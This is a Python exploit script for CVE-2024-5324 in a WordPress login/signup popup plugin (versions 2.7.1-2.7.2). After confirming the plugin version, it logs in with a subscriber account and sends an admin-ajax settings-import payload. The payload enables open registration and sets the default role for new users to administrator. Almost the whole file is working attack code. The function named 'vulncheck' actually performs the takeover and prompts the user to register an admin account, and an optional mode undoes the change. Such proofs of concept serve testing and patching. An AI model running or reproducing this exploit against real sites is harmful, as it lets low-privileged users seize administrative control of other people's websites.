#!/usr/bin/env python3
import argparse
import requests
import re
from getpass import getpass
from bs4 import BeautifulSoup
import os

## Exploit script by @RandomRobbieBF

http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy

user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

def check_plugin_version(url,username,password):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    plugin_url = ""+url+"/wp-content/plugins/easy-login-woocommerce/readme.txt"
    response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
    if response.status_code == 200:
        content = response.text

        version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
        if version_line:
            version = version_line.split(':')[1].strip()
            if version == "2.7.1" or version == "2.7.2":
                print("The plugin version is "+version+".")
                return version
            else:
                print("The plugin version is "+version+"")
                exit()
                
        else:
            print("Failed to find the version information in the readme.txt file.")
            exit()
    else:
        print("Plugin not installed")
        exit()



def fixvul(url,username,password):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)

    # Login to WordPress
    login_url = f"{url}/wp-login.php"
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{url}/wp-admin/",
    }

    try:
        login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent})
        login_response.raise_for_status()
        # Extract the required cookies from the response headers
        cookies = login_response.cookies

        # Confirm successful login
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            print("Logged in successfully.")
        else:
            print("Failed to login")
            exit()

        payloads = [{"action":"xoo_admin_settings_import","xoo_ff_nonce":"","import":"{\"users_can_register\":\"0\",\"default_role\":\"subscriber\"}","slug":"easy-login-woocommerce"}]
        
        main_url = f"{url}/wp-admin/admin-ajax.php"
        for payload in payloads:
            ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
            ajax_response.raise_for_status()

            # Check if option set successfully
            if ajax_response.status_code == 200:
                print(f"Option set successfully: {main_url}")
            else:
                print(f"Failed to set option: {main_url}")
                exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "Registration confirmation will be emailed to you" in register_response.text:
            print("Failed to Reset Permissions")
            exit()
        else:
            print("Options reset to default")

    except requests.exceptions.RequestException as e:
        print(f"Request failed with an error: {e}")






def vulncheck(url, username, password):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)

    # Login to WordPress
    login_url = f"{url}/wp-login.php"
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{url}/wp-admin/",
    }

    try:
        login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent})
        login_response.raise_for_status()
        # Extract the required cookies from the response headers
        cookies = login_response.cookies

        # Confirm successful login
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            exit()

        payloads = [{"action":"xoo_admin_settings_import","xoo_ff_nonce":"","import":"{\"users_can_register\":\"1\",\"default_role\":\"administrator\"}","slug":"easy-login-woocommerce"}]
        
        main_url = f"{url}/wp-admin/admin-ajax.php"
        for payload in payloads:
            ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
            ajax_response.raise_for_status()

            # Check if option set successfully
            if ajax_response.status_code == 200:
                print(f"Option set successfully: {main_url}")
            else:
                print(f"Failed to set option: {main_url}")
                exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "Registration confirmation will be emailed to you" in register_response.text:
            print("You can now register a user on as an admin dont forget to set a fix once you have made an admin account")
            exit()
        else:
            print("boooo")
            print("If the site is not in english you might have to manually check it has worked.")

    except requests.exceptions.RequestException as e:
        print(f"Request failed with an error: {e}")


# Add the vulnerability description as a comment
DESCRIPTION = """
CVE-2024-5324 Login/Signup Popup ( Inline Form + Woocommerce ) 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Update
Description:
The Login/Signup Popup ( Inline Form + Woocommerce ) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the import_settings function in versions 2.7.1 to 2.7.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary options on affected sites. This can be used to enable new user registration and set the default role for new users to Administrator.
"""


# Use argparse to get the URL, username, and password arguments
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument("-u", "--url", help="Website URL", required=True)
parser.add_argument("-un", "--username", help="WordPress username")
parser.add_argument("-p", "--password", help="WordPress password")
parser.add_argument("-f","--fix", help="Undo Admin and Reg enablement")
args = parser.parse_args()

# Prompt for password if not provided as an argument
if not args.password:
    args.password = getpass("Enter the WordPress password: ")


check_plugin_version(args.url, args.username,args.password)
if args.fix:
   fixvul(args.url, args.username, args.password)
else:
   vulncheck(args.url, args.username, args.password)